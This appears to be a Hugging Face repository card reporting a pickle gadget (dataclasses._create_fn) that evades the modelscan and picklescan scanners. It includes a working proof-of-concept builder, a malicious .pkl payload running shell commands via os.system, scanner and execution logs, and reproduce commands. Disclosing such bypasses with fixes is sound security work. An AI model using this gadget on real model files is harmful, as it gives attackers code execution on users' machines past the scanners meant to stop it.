You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

dataclasses._create_fn reduce gadget β€” arbitrary code execution in .pkl/.joblib while both modelscan and picklescan report CLEAN

Class: Pickle deserialization RCE via scanner allow/deny-list bypass (new, unlisted GLOBAL gadget) Targets:

  • modelscan 0.8.8 (modelscan.scanners.PickleUnsafeOpScan)
  • picklescan 1.0.5 Environment: CPython 3.12.13, Linux x86_64

Summary

Both modelscan and picklescan decide whether a pickle is malicious by matching the (module, name) pair of every GLOBAL / STACK_GLOBAL opcode against hand-maintained allow/deny lists. Neither list contains the CPython standard-library helper dataclasses._create_fn.

dataclasses._create_fn(name, args, body) is the internal helper the @dataclass machinery uses to synthesize methods such as __init__. It builds a function source string and both defines AND invokes it via exec. Because the caller-supplied args list is spliced verbatim into the generated inner function's signature, a default-argument expression like a='__import__("os").system(cmd)' is evaluated at def-time during that exec. The attacker command travels entirely as a pickle string constant; the only GLOBAL opcode present is (dataclasses, _create_fn), which is unknown to modelscan (no issue at all) and merely "Suspicious" (not Dangerous) to picklescan. Both tools therefore exit 0 and report the file clean, while pickle.load() runs an arbitrary shell command.


Root cause

The gadget (CPython Lib/dataclasses.py, 3.12)

def _create_fn(name, args, body, *, globals=None, locals=None,
               return_type=MISSING):
    ...
    args = ','.join(args)
    body = '\n'.join(f'  {b}' for b in body)
    txt = f' def {name}({args}){return_annotation}:\n{body}'
    local_vars = ', '.join(locals.keys())
    txt = f"def __create_fn__({local_vars}):\n{txt}\n return {name}"
    ns = {}
    exec(txt, globals, ns)          # <-- inner def is created here
    return ns['__create_fn__'](**locals)   # <-- and invoked here

Supplying args = ['a=__import__("os").system("...")'] produces source equivalent to:

def __create_fn__():
 def f(a=__import__("os").system("touch /tmp/pwned_dataclass_createfn; id > /tmp/pwned_dataclass_createfn.out 2>&1")):
  pass
 return f

The default value of parameter a is evaluated when def f(...) executes inside exec(txt, ...), giving arbitrary code execution with no eval/exec/os/system global ever appearing in the pickle stream.

Why the scanners miss it

  • modelscan 0.8.8 β€” its unsafe_globals denylist (CRITICAL: builtins eval/exec/compile/getattr/open/breakpoint/__import__/apply, plus runpy/os/nt/posix/socket/subprocess/sys/pty/pickle/bdb/pdb/shutil/asyncio*, operator.attrgetter; HIGH: webbrowser/httplib/requests.api/aiohttp.client) does not contain dataclasses. No rule fires β†’ "No issues found", exit 0.

  • picklescan 1.0.5 β€” its _unsafe_globals denylist (a large set including cProfile/timeit/pydoc/runpy/pdb/bdb/code/profile/trace/ctypes/functools.partial/ logging.FileHandler/types.CodeType/operator[attrgetter,itemgetter,methodcaller] …) also does not contain dataclasses. Any unknown global is classified only as a "Suspicious global", not a "Dangerous global" β€” so Infected files: 0 and exit 0.


Proof of Concept

gen.py (builder):

import pickle

MARKER = "/tmp/pwned_dataclass_createfn"

class Evil:
    def __reduce__(self):
        import dataclasses
        payload = f'a=__import__("os").system("touch {MARKER}; id > {MARKER}.out 2>&1")'
        return (dataclasses._create_fn, ("f", [payload], ["pass"]))

with open("evil_dataclass.pkl", "wb") as f:
    f.write(pickle.dumps(Evil(), protocol=4))

The reduce tuple is:

(dataclasses._create_fn, ("f", ['a=__import__("os").system("touch /tmp/pwned_dataclass_createfn; id > /tmp/pwned_dataclass_createfn.out 2>&1")'], ["pass"]))

GLOBAL opcodes in evil_dataclass.pkl (only one global β€” the command rides as data):

SHORT_BINUNICODE 'dataclasses'
SHORT_BINUNICODE '_create_fn'
STACK_GLOBAL      None
SHORT_BINUNICODE 'f'
SHORT_BINUNICODE 'a=__import__("os").system("touch /tmp/pwned_dataclass_createfn; id > /tmp/pwned_dataclass_createfn.out 2>&1")'
SHORT_BINUNICODE 'pass'

Files in this repo:

  • gen.py β€” builder for both payloads
  • evil_dataclass.pkl β€” 174 B malicious payload
  • control_os.pkl β€” 81 B negative control (os.system reduce)

Captured evidence (verbatim)

Execution β€” pickle.load("evil_dataclass.pkl"), CPython 3.12.13

load_exit=0
-rw-rw-r-- 1 kali kali   0 Jul 16 14:32 /tmp/pwned_dataclass_createfn
-rw-rw-r-- 1 kali kali 229 Jul 16 14:32 /tmp/pwned_dataclass_createfn.out
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)

EVIL β€” modelscan 0.8.8 (exit 0)

Scanning .../evil_dataclass.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---

 No issues found! πŸŽ‰
modelscan_exit=0

EVIL β€” picklescan 1.0.5 (exit 0)

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 1
Dangerous globals: 0
picklescan_exit=0

NEGATIVE CONTROL β€” control_os.pkl = os.system reduce (both scanners fire, both exit 1)

modelscan 0.8.8:

Total Issues: 1
Total Issues By Severity:
    - CRITICAL: 1
--- CRITICAL ---
Unsafe operator found:
  - Severity: CRITICAL
  - Description: Use of unsafe operator 'system' from module 'posix'
modelscan_exit=1

picklescan 1.0.5:

.../control_os.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Suspicious globals: 0
Dangerous globals: 1
picklescan_exit=1

The negative control is flagged CRITICAL/Dangerous by both scanners, proving the tools are installed and functioning correctly and that the bypass is specific to the unlisted dataclasses._create_fn gadget β€” not a broken/misconfigured scan.


Impact

Any workflow that "scans then loads" (Hugging Face Hub scanning, modelscan in CI, picklescan pre-load hooks, joblib model loaders) treats a dataclasses._create_fn payload as safe and then executes it. Result: arbitrary command / code execution on the consumer's machine from an untrusted .pkl / .joblib artifact, defeating the exact control the scanners are meant to provide.

Suggested fix

Add dataclasses._create_fn (and, defensively, the whole dataclasses internal-helper surface, e.g. _create_fn, _process_class) to modelscan's unsafe_globals and to picklescan's _unsafe_globals Dangerous set. More robustly, treat any stdlib helper that calls exec/compile with caller-controlled source as dangerous.


Dedup / novelty

  • No CVE currently assigned to dataclasses._create_fn as a pickle gadget; not present in either scanner's denylist as of the versions tested.
  • Distinct from all previously reported scanner-bypass gadgets in this research line: marshal.loads+FunctionType+operator.call, logging.config.dictConfig, cProfile.run/timeit, pydoc.pipepager, posix.spawnv_passfds, int-radix, legacy multipickle, memo-divergence, and the joblib/numpy variants.
  • Mechanism is novel: a stdlib code-generation helper that both defines and invokes a function, weaponized purely through a default-argument expression carried as pickle string data β€” no eval/exec/os global in the stream.

Reproduce

python gen.py                      # regenerates evil_dataclass.pkl + control_os.pkl (CPython 3.12)
modelscan  -p evil_dataclass.pkl   # -> No issues found, exit 0
picklescan -p evil_dataclass.pkl   # -> Infected files: 0, exit 0
modelscan  -p control_os.pkl       # -> CRITICAL posix system, exit 1
picklescan -p control_os.pkl       # -> Dangerous globals: 1, exit 1
python -c "import pickle; pickle.load(open('evil_dataclass.pkl','rb'))"  # -> /tmp/pwned_dataclass_createfn created
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support